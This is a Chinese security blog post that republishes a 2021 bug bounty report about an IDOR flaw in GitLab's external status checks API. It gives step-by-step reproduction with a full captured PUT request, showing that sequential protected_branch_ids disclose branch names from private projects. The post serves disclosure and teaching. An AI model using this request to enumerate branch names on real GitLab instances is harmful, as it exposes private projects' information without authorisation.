gitlab漏洞系列-私有项目分支名称泄露
gitlab漏洞系列-私有项目分支名称泄露
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
白帽小哥ashish_r_padelkar在2021年8月份的时候上报了这个漏洞: 在添加新的状态检查时,gitlab.com https://gitlab.com/<GroupName>/<ProjectName>/edit在合并请求部分命名为状态检查, 这个请求易收到IDOR攻击,可以替换分支的id即可设置/获取它们的名称,即使它们是私人项目中的,如果这些id是连续的,可以轻松地批量获取名称。
复现步骤
1.以项目维护人员的身份登录并访问https://gitlab.com/<GroupName>/<ProjectName>/edit的合并请求部分,单击添加状态检查按钮。
2.添加输入。(也允许添加本地主机url,请注意,因为通常gitlab是不允许localhost url)。在分支下拉菜单中选择你的分支并添加。捕获请求如下所示。
PUT /api/v4/projects/23887195/external_status_checks/50 HTTP/2
Host: gitlab.com
Cookie: 1
Content-Length: 120
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Accept: application/json, text/plain, */*
X-Csrf-Token: 1
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://gitlab.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://gitlab.com/privategroup4321/githubimport/edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"external_url":"http://127.0.0.1/","id":50,"name":"Anything","protected_branch_ids":[41438448]}
3.只需将上述请求中的protected_branch_ids的值替换为任何受保护的分支ID,这些分支ID可能属于你无法访问的私有项目。这些id是连续的。
4.发送请求,可以在响应和UI中看到受保护的分支名称。
5.通过这种方式,你可以获得任何项目的受保护的分支名称,而不必考虑它们的可见性!
影响
能够获取私有项目的受保护分支名称,并使用它们创建状态检查。
作者:richardo1o1
欢迎关注微信公众号 :迪哥讲事